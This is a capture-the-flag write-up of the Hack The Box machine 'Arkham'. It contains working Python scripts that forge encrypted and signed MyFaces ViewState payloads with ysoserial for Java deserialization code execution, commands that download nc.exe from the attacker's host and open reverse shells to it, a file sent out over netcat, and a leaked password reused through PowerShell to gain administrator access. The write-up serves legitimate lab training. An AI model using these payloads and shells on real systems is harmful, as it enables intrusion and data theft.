Arkham

10/08/2019

Arkham is a pretty difficult box for being ranked as medium. The toughest part is achieving access to the system via a Java deserialization vulnerability where the vulnerable object should be encrypted to make it work. Then, escalate privileges is quite easy, just find another user's password who is allowed to access the entire filesystem.

User Privilege Escalation

User

First run nmap to see we have an IIS on port 80, an Apache in port 8080 and SMB enabled.

root@kali:~/htb/arkham# nmap -sC -sV 10.10.10.130
Starting Nmap 7.70 ( https://nmap.org ) at 2019-05-20 14:50 EDT
Nmap scan report for 10.10.10.130
Host is up (0.068s latency).
Not shown: 995 filtered ports
PORT     STATE SERVICE       VERSION
80/tcp   open  http          Microsoft IIS httpd 10.0
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: IIS Windows Server
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp  open  microsoft-ds?
8080/tcp open  http          Apache Tomcat 8.5.37
| http-methods: 
|_  Potentially risky methods: PUT DELETE
|_http-title: Mask Inc.
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: -1s, deviation: 0s, median: -1s
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2019-05-20 14:51:12
|_  start_date: N/A

If we list the available shares with smbclient we can see the following ones.

root@kali:~/htb/arkham# smbclient -L //10.10.10.130
Enter WORKGROUP\root's password: 

	Sharename       Type      Comment
	---------       ----      -------
	ADMIN$          Disk      Remote Admin
	BatShare        Disk      Master Wayne's secrets
	C$              Disk      Default share
	IPC$            IPC       Remote IPC
	Users           Disk      

We have read permissions on BatShare and in this share we only have one file appserver.zip, let's download it to see what's in there.

root@kali:~/htb/arkham# smbclient //10.10.10.130/BatShare
Enter WORKGROUP\root's password: 
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Sun Feb  3 08:00:10 2019
  ..                                  D        0  Sun Feb  3 08:00:10 2019
  appserver.zip                       A  4046695  Fri Feb  1 01:13:37 2019

		5158399 blocks of size 4096. 2120122 blocks available
smb: \> get appserver.zip
getting file \appserver.zip of size 4046695 as appserver.zip (490.0 KiloBytes/sec) (average 490.0 KiloBytes/sec)

Unzip it to find two files.

root@kali:~/htb/arkham# unzip appserver.zip 
Archive:  appserver.zip
  inflating: IMPORTANT.txt           
  inflating: backup.img  

The txt has the following message.

root@kali:~/htb/arkham# cat IMPORTANT.txt 
Alfred, this is the backup image from our linux server. Please see that The Joker or anyone else doesn't have unauthenticated access to it. - Bruce

And the other file is a LUKS encrypted image, which means we'll need a password to see what's inside.

root@kali:~/htb/arkham# file backup.img 
backup.img: LUKS encrypted file, ver 1 [aes, xts-plain64, sha256] UUID: d931ebb1-5edc-4453-8ab1-3d23bb85b38e

We're going to brute force the password, but throwing the entire rockyou.txt would take too much, so we can create a subset of it with only the passwords which contain batman, as the box name is batman's city.

root@kali:~/htb/arkham# grep batman /usr/share/wordlists/rockyou.txt > batman_rocks.txt

Then run hashcat and eventually it will find the correct password is batmanforever.

# hashcat -m 14600 -a 0 backup.img /usr/share/wordlists/rockyou.txt
batmanforever

Now, having the password we can mount the image.

root@kali:~/htb/arkham# cryptsetup luksOpen backup.img backup
Enter passphrase for backup.img: batmanforever

Confirm the image is mapped correctly.

root@kali:~/htb/arkham# cryptsetup -v status backup
/dev/mapper/backup is active and is in use.
  type:    LUKS1
  cipher:  aes-xts-plain64
  keysize: 256 bits
  key location: dm-crypt
  device:  /dev/loop0
  loop:    /root/htb/arkham/backup.img
  sector size:  512
  offset:  4096 sectors
  size:    22528 sectors
  mode:    read/write
Command successful.

Here we have the script of the film Batman Begins, a couple of pictures and some Tomcat configuration files.

root@kali:/media/root/af474e94-894e-4bb6-897a-adc82884b3d8# ls -laR
.:
total 18
drwxr-xr-x  4 root root  1024 Dec 25 01:00 .
drwxr-x---+ 3 root root  4096 May 25 06:16 ..
drwx------  2 root root 12288 Dec 25 00:59 lost+found
drwxrwxr-x  4 root root  1024 Dec 25 00:23 Mask

./lost+found:
total 13
drwx------ 2 root root 12288 Dec 25 00:59 .
drwxr-xr-x 4 root root  1024 Dec 25 01:00 ..

./Mask:
total 882
drwxrwxr-x 4 root root   1024 Dec 25 00:23 .
drwxr-xr-x 4 root root   1024 Dec 25 01:00 ..
drwxr-xr-x 2 root root   1024 Dec 25 00:22 docs
-rw-rw-r-- 1 root root  96978 Dec 25 00:18 joker.png
-rw-rw-r-- 1 root root 105374 Dec 25 00:20 me.jpg
-rw-rw-r-- 1 root root 687160 Dec 25 00:20 mycar.jpg
-rw-rw-r-- 1 root root   7586 Dec 25 00:19 robin.jpeg
drwxr-xr-x 2 root root   1024 Dec 25 00:24 tomcat-stuff

./Mask/docs:
total 198
drwxr-xr-x 2 root root   1024 Dec 25 00:22 .
drwxrwxr-x 4 root root   1024 Dec 25 00:23 ..
-rw-r--r-- 1 root root 199998 Jun 15  2017 Batman-Begins.pdf

./Mask/tomcat-stuff:
total 193
drwxr-xr-x 2 root root   1024 Dec 25 00:24 .
drwxrwxr-x 4 root root   1024 Dec 25 00:23 ..
-rw-r--r-- 1 root root   1368 Dec 25 00:23 context.xml
-rw-r--r-- 1 root root    832 Dec 25 00:24 faces-config.xml
-rw-r--r-- 1 root root   1172 Dec 25 00:23 jaspic-providers.xml
-rw-r--r-- 1 root root     39 Dec 25 00:24 MANIFEST.MF
-rw-r--r-- 1 root root   7678 Dec 25 00:23 server.xml
-rw-r--r-- 1 root root   2208 Dec 25 00:23 tomcat-users.xml
-rw-r--r-- 1 root root 174021 Dec 25 00:23 web.xml
-rw-r--r-- 1 root root   3498 Dec 25 00:24 web.xml.bak

What is interesting here is the following configuration in web.xml.bak which we'll need later.

root@kali:/media/root/af474e94-894e-4bb6-897a-adc82884b3d8/Mask/tomcat-stuff# cat web.xml.bak
...
<context-param>
<description>State saving method: 'client' or 'server' (=default). See JSF Specification 2.5.2</description>
<param-name>javax.faces.STATE_SAVING_METHOD</param-name>
<param-value>server</param-value>
</context-param>
<context-param>
<param-name>org.apache.myfaces.SECRET</param-name>
<param-value>SnNGOTg3Ni0=</param-value>
</context-param>
    <context-param>
        <param-name>org.apache.myfaces.MAC_ALGORITHM</param-name>
        <param-value>HmacSHA1</param-value>
     </context-param>
<context-param>
<param-name>org.apache.myfaces.MAC_SECRET</param-name>
<param-value>SnNGOTg3Ni0=</param-value>
</context-param>
...

Having this, now we can move forward to another service.

In port 80 we had an IIS running and if we get inside, we should see there's only the default picture, so nothing interesting.

On the other hand, on the Tomcat server on port 8080 we seem to have a configured website.

If we click on the Subscription link on the top we'll get redirected to /userSubscribe.faces where there's the following form.

On the form there's this hidden input field.

<input type="hidden" name="javax.faces.ViewState" id="javax.faces.ViewState" value="wHo0wmLu5ceItIi+I7XkEi1GAb4h12WZ894pA+Z4OH7bco2jXEy1Rd1x5LURafml70KtDtngjDm0mNzA9qHjYerxo0jW7zu1Qxb78J8MRRgV/oWNsOb5owxiays=" />

This ViewState attribute is a mechanism that MyFaces uses to to store the current state of the view. This state is a java serialized object, which means we'll probably have to make a java deserialization attack.

On the MyFaces documentation there's all the information to learn how these objects are being encrypted, and therefore how should be decrypted.

Assuming this server is using the configuration we found on the previous file and based on the default values described in the documentation, we know the following:

Because the state is being stored on the server side, the value of the ViewState is a serialized java object which identifies a certain state.

In our case, these are the steps we have to follow to decrypt the ViewState:

I used the following python script to reproduce the decrypt steps.

import urllib
import sys
import base64
from Crypto.Cipher import DES

secret = base64.b64decode("SnNGOTg3Ni0=")
obj = DES.new(secret, DES.MODE_ECB)

payload = sys.argv[1]
payload = urllib.unquote(payload)
payload = base64.b64decode(payload)
payload += (8 - len(payload) % 8) * 'X' # must be a multiple of 8 in length
payload = obj.decrypt(payload)
print payload

Indeed, on the decrypted value we can see our ViewState is a java serialized object.

root@kali:~/htb/arkham# python decrypt.py wHo0wmLu5ceItIi+I7XkEi1GAb4h12WZ894pA+Z4OH7bco2jXEy1Rd1x5LURafml70KtDtngjDm0mNzA9qHjYerxo0jW7zu1Qxb78J8MRRgV/oWNsOb5owxiays%3D
��ur[Ljava.lang.Object;��X�s)lxpt6pt/userSubscribe.jsp��Z�ߴ�9�l�1�/�i���@�3�

Now what we have to do is create a malicious java serialized object to be able to execute commands on the system, replacing the ViewState value on the POST request. For this task I used ysoserial.

ysoserial allows us to create java serialized objects selecting a payload type and the command we want to execute.

root@kali:/opt# java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections1 "ping 10.10.16.15" | base64 -w 0
rO0ABXNyADJzdW4ucmVmbGVjdC5hbm5vdGF0aW9uLkFubm90YXRpb25JbnZvY2F0aW9uSGFuZGxlclXK9Q8Vy36lAgACTAAMbWVtYmVyVmFsdWVzdAAPTGphdmEvdXRpbC9NYXA7TAAEdHlwZXQAEUxqYXZhL2xhbmcvQ2xhc3M7eHBzfQAAAAEADWphdmEudXRpbC5NYXB4cgAXamF2YS5sYW5nLnJlZmxlY3QuUHJveHnhJ9ogzBBDywIAAUwAAWh0ACVMamF2YS9sYW5nL3JlZmxlY3QvSW52b2NhdGlvbkhhbmRsZXI7eHBzcQB+AABzcgAqb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLm1hcC5MYXp5TWFwbuWUgp55EJQDAAFMAAdmYWN0b3J5dAAsTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ2hhaW5lZFRyYW5zZm9ybWVyMMeX7Ch6lwQCAAFbAA1pVHJhbnNmb3JtZXJzdAAtW0xvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHB1cgAtW0xvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuVHJhbnNmb3JtZXI7vVYq8dg0GJkCAAB4cAAAAAVzcgA7b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkNvbnN0YW50VHJhbnNmb3JtZXJYdpARQQKxlAIAAUwACWlDb25zdGFudHQAEkxqYXZhL2xhbmcvT2JqZWN0O3hwdnIAEWphdmEubGFuZy5SdW50aW1lAAAAAAAAAAAAAAB4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuSW52b2tlclRyYW5zZm9ybWVyh+j/a3t8zjgCAANbAAVpQXJnc3QAE1tMamF2YS9sYW5nL09iamVjdDtMAAtpTWV0aG9kTmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sAC2lQYXJhbVR5cGVzdAASW0xqYXZhL2xhbmcvQ2xhc3M7eHB1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHAAAAACdAAKZ2V0UnVudGltZXVyABJbTGphdmEubGFuZy5DbGFzczurFteuy81amQIAAHhwAAAAAHQACWdldE1ldGhvZHVxAH4AHgAAAAJ2cgAQamF2YS5sYW5nLlN0cmluZ6DwpDh6O7NCAgAAeHB2cQB+AB5zcQB+ABZ1cQB+ABsAAAACcHVxAH4AGwAAAAB0AAZpbnZva2V1cQB+AB4AAAACdnIAEGphdmEubGFuZy5PYmplY3QAAAAAAAAAAAAAAHhwdnEAfgAbc3EAfgAWdXIAE1tMamF2YS5sYW5nLlN0cmluZzut0lbn6R17RwIAAHhwAAAAAXQAD3BpbmcgMTAuMTAuMTYuM3QABGV4ZWN1cQB+AB4AAAABcQB+ACNzcQB+ABFzcgARamF2YS5sYW5nLkludGVnZXIS4qCk94GHOAIAAUkABXZhbHVleHIAEGphdmEubGFuZy5OdW1iZXKGrJUdC5TgiwIAAHhwAAAAAXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAB3CAAAABAAAAAAeHh2cgASamF2YS5sYW5nLk92ZXJyaWRlAAAAAAAAAAAAAAB4cHEAfgA6

Unfortunately, if we send directly this value it won't work, because it has to be encrypted as we saw before.

These are the steps we have to follow to encrypt and sign our payload to make it work correctly in our case.

Because I didn't know which payload type would work I tried all of them to see which one was accepted.

To automate the process I made the following python script where I make a payload that should run a ping against my machine.

import urllib
import base64
import subprocess
import requests
import hashlib
import pyDes
import hmac

url = "http://10.10.10.130:8080/userSubscribe.faces"
r = requests.get(url)
cookie = r.headers['set-cookie']

secret = base64.b64decode("SnNGOTg3Ni0=")
cipher = pyDes.des(secret, pad=None, padmode=pyDes.PAD_PKCS5)

types = ["BeanShell1", "C3P0", "Clojure", "CommonsBeanutils1", "CommonsCollections1", "CommonsCollections2", "CommonsCollections3", "CommonsCollections4", "CommonsCollections5", "CommonsCollections6", "FileUpload1", "Groovy1", "Hibernate1", "Hibernate2", "JBossInterceptors1", "JRMPClient", "JRMPListener", "JSON1", "JavassistWeld1", "Jdk7u21", "Jython1", "MozillaRhino1", "Myfaces1", "Myfaces2", "ROME", "Spring1", "Spring2", "URLDNS", "Wicket1"]
for type in types:
	try:
		cmd = 'ping 10.10.16.50'
		ysoserial = 'java -jar /opt/ysoserial-master-SNAPSHOT.jar ' + type + ' "' + cmd + '"'
		payload = subprocess.check_output(ysoserial, shell=True)
		payload = cipher.encrypt(payload)
		hmacSignature = hmac.new(secret, payload, hashlib.sha1).digest()
		payload = base64.b64encode(payload + hmacSignature)
		payload = urllib.quote(payload)

		headers = {"Cookie": cookie, "Content-Type": "application/x-www-form-urlencoded"}
		data = "j_id_jsp_1623871077_1%3Aemail=caca&j_id_jsp_1623871077_1%3Asubmit=SIGN+UP&j_id_jsp_1623871077_1_SUBMIT=1&javax.faces.ViewState=" + payload
		r = requests.post(url, data=data, headers=headers)
	except:
		continue

Using tcpdump while the script runs we can see a couple of pings are sent, which means we have RCE!

root@kali:~/htb/arkham# tcpdump -i tun0 icmp
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on tun0, link-type RAW (Raw IP), capture size 262144 bytes
16:04:28.266833 IP 10.10.10.130 > kali: ICMP echo request, id 1, seq 27, length 40
16:04:28.266872 IP kali > 10.10.10.130: ICMP echo reply, id 1, seq 27, length 40
16:04:28.931960 IP 10.10.10.130 > kali: ICMP echo request, id 1, seq 28, length 40
16:04:28.932034 IP kali > 10.10.10.130: ICMP echo reply, id 1, seq 28, length 40
16:04:29.390201 IP 10.10.10.130 > kali: ICMP echo request, id 1, seq 29, length 40
16:04:29.390222 IP kali > 10.10.10.130: ICMP echo reply, id 1, seq 29, length 40
16:04:29.932976 IP 10.10.10.130 > kali: ICMP echo request, id 1, seq 30, length 40

To see which payload types work, we can modify the command to execute a curl using as the path the payload type name, like this.

import urllib
import base64
import subprocess
import requests
import hashlib
import pyDes
import hmac

url = "http://10.10.10.130:8080/userSubscribe.faces"
r = requests.get(url)
cookie = r.headers['set-cookie']

secret = base64.b64decode("SnNGOTg3Ni0=")
cipher = pyDes.des(secret, pad=None, padmode=pyDes.PAD_PKCS5)

types = ["BeanShell1", "C3P0", "Clojure", "CommonsBeanutils1", "CommonsCollections1", "CommonsCollections2", "CommonsCollections3", "CommonsCollections4", "CommonsCollections5", "CommonsCollections6", "FileUpload1", "Groovy1", "Hibernate1", "Hibernate2", "JBossInterceptors1", "JRMPClient", "JRMPListener", "JSON1", "JavassistWeld1", "Jdk7u21", "Jython1", "MozillaRhino1", "Myfaces1", "Myfaces2", "ROME", "Spring1", "Spring2", "URLDNS", "Wicket1"]
for type in types:
	try:
		cmd = 'curl http://10.10.16.50/' + type
		ysoserial = 'java -jar /opt/ysoserial-master-SNAPSHOT.jar ' + type + ' "' + cmd + '"'
		payload = subprocess.check_output(ysoserial, shell=True)
		payload = cipher.encrypt(payload)
		hmacSignature = hmac.new(secret, payload, hashlib.sha1).digest()
		payload = base64.b64encode(payload + hmacSignature)
		payload = urllib.quote(payload)

		headers = {"Cookie": cookie, "Content-Type": "application/x-www-form-urlencoded"}
		data = "j_id_jsp_1623871077_1%3Aemail=caca&j_id_jsp_1623871077_1%3Asubmit=SIGN+UP&j_id_jsp_1623871077_1_SUBMIT=1&javax.faces.ViewState=" + payload
		r = requests.post(url, data=data, headers=headers)
	except:
		continue

And using SimpleHTTPServer module, we can see only CommonsCollections5 and CommonsCollections6 worked.

root@kali:~/htb/arkham# python -m SimpleHTTPServer 80
Serving HTTP on 0.0.0.0 port 80 ...
10.10.10.130 - - [26/May/2019 17:41:14] code 404, message File not found
10.10.10.130 - - [26/May/2019 17:41:14] "GET /CommonsCollections5 HTTP/1.1" 404 -
10.10.10.130 - - [26/May/2019 17:41:14] code 404, message File not found
10.10.10.130 - - [26/May/2019 17:41:14] "GET /CommonsCollections6 HTTP/1.1" 404 -
10.10.10.130 - - [26/May/2019 17:48:34] code 404, message File not found

Now, change the script a bit to execute the command we want and only use CommonsCollections6 payload type, which we know works.

import urllib
import base64
import subprocess
import requests
import hashlib
import pyDes
import hmac
import sys

url = "http://10.10.10.130:8080/userSubscribe.faces"
r = requests.get(url)
cookie = r.headers['set-cookie']

cmd = sys.argv[1]

secret = base64.b64decode("SnNGOTg3Ni0=")
cipher = pyDes.des(secret, pad=None, padmode=pyDes.PAD_PKCS5)

ysoserial = 'java -jar /opt/ysoserial-master-SNAPSHOT.jar CommonsCollections6 "' + cmd + '"'
payload = subprocess.check_output(ysoserial, shell=True)
payload = cipher.encrypt(payload)
hmacSignature = hmac.new(secret, payload, hashlib.sha1).digest()
payload = base64.b64encode(payload + hmacSignature)
payload = urllib.quote(payload)

headers = {"Cookie": cookie, "Content-Type": "application/x-www-form-urlencoded"}
data = "j_id_jsp_1623871077_1%3Aemail=caca&j_id_jsp_1623871077_1%3Asubmit=SIGN+UP&j_id_jsp_1623871077_1_SUBMIT=1&javax.faces.ViewState=" + payload
r = requests.post(url, data=data, headers=headers)

Then, to get a shell on the system I downloaded nc from my machine and used it to execute a reverse shell.

root@kali:~/htb/arkham# python rce.py "curl http://10.10.16.45/nc.exe -o ."
root@kali:~/htb/arkham# python rce.py "nc.exe 10.10.16.45 6969 -e cmd.exe"

And we should get a shell as alfred if we were listening on the specified port.

root@kali:~/htb/arkham# nc -nlvp 6969
listening on [any] 6969 ...
connect to [10.10.16.45] from (UNKNOWN) [10.10.10.130] 49991
Microsoft Windows [Version 10.0.17763.107]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\tomcat\apache-tomcat-8.5.37\bin>whoami
whoami
arkham\alfred

We have the user flag on Alfred's desktop.

C:\Users\Alfred\Desktop>type user.txt
type user.txt
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

Privilege Escalation

On Alfred downloads we have a backups folder with a zip file.

C:\Users\Alfred\Downloads\backups>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is FA90-3873

 Directory of C:\Users\Alfred\Downloads\backups

02/03/2019  08:41 AM    <DIR>          .
02/03/2019  08:41 AM    <DIR>          ..
02/03/2019  08:41 AM           124,257 backup.zip
               1 File(s)        124,257 bytes
               2 Dir(s)   7,414,816,768 bytes free

Using nc we can send this file to our machine to unzip it and see what's inside.

C:\Users\Alfred\Downloads\backups>C:\tomcat\apache-tomcat-8.5.37\bin\nc.exe 10.10.16.45 6868 < backup.zip
C:\tomcat\apache-tomcat-8.5.37\bin\nc.exe 10.10.16.45 6868 < backup.zip
root@kali:~/htb/arkham# nc -nlvp 6868 > backup.zip
listening on [any] 6868 ...
connect to [10.10.16.45] from (UNKNOWN) [10.10.10.130] 50024

There we have an .ost file.

root@kali:~/htb/arkham# unzip backup.zip 
Archive:  backup.zip
  inflating: alfred@arkham.local.ost 

Which is an Outlook email folder.

root@kali:~/htb/arkham# file alfred@arkham.local.ost 
alfred@arkham.local.ost: Microsoft Outlook email folder

We can retrieve the emails using readpst.

root@kali:~/htb/arkham# readpst alfred@arkham.local.ost 
Opening PST file and indexes...
Processing Folder "Deleted Items"
Processing Folder "Inbox"
Processing Folder "Outbox"
Processing Folder "Sent Items"
Processing Folder "Calendar"
Processing Folder "Contacts"
	"Inbox" - 0 items done, 7 items skipped.
Processing Folder "Conversation Action Settings"
Processing Folder "Drafts"
Processing Folder "Journal"
Processing Folder "Junk E-Mail"
Processing Folder "Notes"
Processing Folder "Tasks"
Processing Folder "Sync Issues"
Processing Folder "RSS Feeds"
Processing Folder "Quick Step Settings"
	"alfred@arkham.local.ost" - 15 items done, 0 items skipped.
	"Calendar" - 0 items done, 3 items skipped.
Processing Folder "Conflicts"
Processing Folder "Local Failures"
Processing Folder "Server Failures"
	"Sync Issues" - 3 items done, 0 items skipped.
	"Drafts" - 1 items done, 0 items skipped.

On the Drafts folder we have the following mail with an attached picture.

root@kali:~/htb/arkham# cat Drafts.mbox 
From "MAILER-DAEMON" Thu Jan 1 00:00:00 1970
From: <MAILER-DAEMON>
Subject: 
To: batman
MIME-Version: 1.0
Content-Type: multipart/mixed;
	boundary="--boundary-LibPST-iamunique-897628897_-_-"
...
</o:shapelayout></xml><![endif]--></head><body lang=EN-US link="#0563C1" vlink="#954F72" style='tab-interval:.5in'><div class=WordSection1><p class=MsoNormal>Master Wayne stop forgetting your password<o:p></o:p></p><p class=MsoNormal><o:p> </o:p></p><p class=MsoNormal><span style='mso-no-proof:yes'><img width=677 height=343 id="Picture_x0020_1" src="cid:image001.png@01D4BB4A.F5061EA0"></span><o:p></o:p></p></div></body></html>
----boundary-LibPST-iamunique-897628897_-_-
Content-Type: image/png
Content-Transfer-Encoding: base64
Content-ID: <image001.png@01D4BB4A.F5061EA0>
Content-Disposition: attachment; 
        filename*=utf-8''image001.png;
        filename="image001.png"

iVBORw0KGgoAAAANSUhEUgAAAqUAAAFXCAIAAAAUCKDqAAAAAXNSR0IArs4c6QAAJwVJREFUeF7t
3V+oZdd5GPCjUmibujISRUNh5GhiCya2hI0lVXSoEwXXCRMoqpUXyzR6MFaUIlwh2S9+kB+sB7/Y
ElNjWskmDzJ0/FKpItCBGDGSBROGKMYgoaqM3XEsQZBpLazUTelLu8/Z9+677/679jn7O3edO7/L
IEbn7v2tb/2+dfa3/5w797qPfuyOhS8CBAgQIEDgWAtcV/T7u7994VjP0eQIECBAYIcF/vKPz97x
...

Decode the base64 value to get the image.

root@kali:~/htb/arkham# echo iVBORw0KGgoAAAANSUhEUgAAAqUAAAFXCAIA... | base64 -d > image001.png

In the picture we have Batman's password (Zx^#QZX+T!123).

And checking batman's information we can see he's part of the Administrators local group.

C:\Users>net user batman
net user batman
User name                    Batman
Full Name                    
Comment                      
User's comment               
Country/region code          001 (United States)
Account active               Yes
Account expires              Never

Password last set            2/3/2019 9:25:50 AM
Password expires             Never
Password changeable          2/3/2019 9:25:50 AM
Password required            Yes
User may change password     Yes

Workstations allowed         All
Logon script                 
User profile                 
Home directory               
Last logon                   5/28/2019 1:52:48 AM

Logon hours allowed          All

Local Group Memberships      *Administrators       *Remote Management Use
                             *Users                
Global Group memberships     *None                 

Change to a PowerShell shell.

C:\Users>powershell
powershell
Windows PowerShell 
Copyright (C) Microsoft Corporation. All rights reserved.

PS C:\Users>

And execute nc as batman to create another reverse shell.

PS C:\Users> $password = "Zx^#QZX+T!123" | ConvertTo-SecureString -AsPlainText -Force
PS C:\Users> $cred = New-Object System.Management.Automation.PSCredential -ArgumentList "Batman",$password
PS C:\Users> Invoke-Command -ScriptBlock {C:\tomcat\apache-tomcat-8.5.37\bin\nc.exe 10.10.16.45 6767 -e cmd.exe} -Credential $cred -computername localhost

We get a new shell as batman.

root@kali:~/htb/arkham# nc -nlvp 6767
listening on [any] 6767 ...
connect to [10.10.16.45] from (UNKNOWN) [10.10.10.130] 50106
Microsoft Windows [Version 10.0.17763.107]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Users\Batman\Documents>whoami
whoami
arkham\batman

But we still can't access to the Administrator folder.

C:\Users>cd Administrator
cd Administrator
Access is denied.

But as we saw on the image we can mount shares, so we're going to map the C$ volume in G:.

C:\Users>net use G: \\10.10.10.130\C$
net use G: \\10.10.10.130\C$
The command completed successfully.

Now move to G: where we have the entire filesystem.

C:\Users>G:
G:

G:\>dir
dir
 Volume in drive G has no label.
 Volume Serial Number is FA90-3873

 Directory of G:\

02/03/2019  06:30 PM    <DIR>          inetpub
09/15/2018  12:49 PM    <DIR>          PerfLogs
02/03/2019  09:29 AM    <DIR>          Program Files
09/15/2018  02:36 PM    <DIR>          Program Files (x86)
02/01/2019  09:56 AM    <DIR>          tomcat
02/03/2019  06:54 PM    <DIR>          Users
02/03/2019  06:09 PM    <DIR>          Windows
               0 File(s)              0 bytes
               7 Dir(s)   7,410,044,928 bytes free

Now we do can access to the Administrator folder and read root's flag.

G:\Users\Administrator\Desktop>type root.txt
type root.txt
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

Another way is, instead of mounting the entire filesystem we could simply type root's flag.

C:\Users>type \\10.10.10.130\C$\Users\Administrator\Desktop\root.txt
type \\10.10.10.130\C$\Users\Administrator\Desktop\root.txt
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX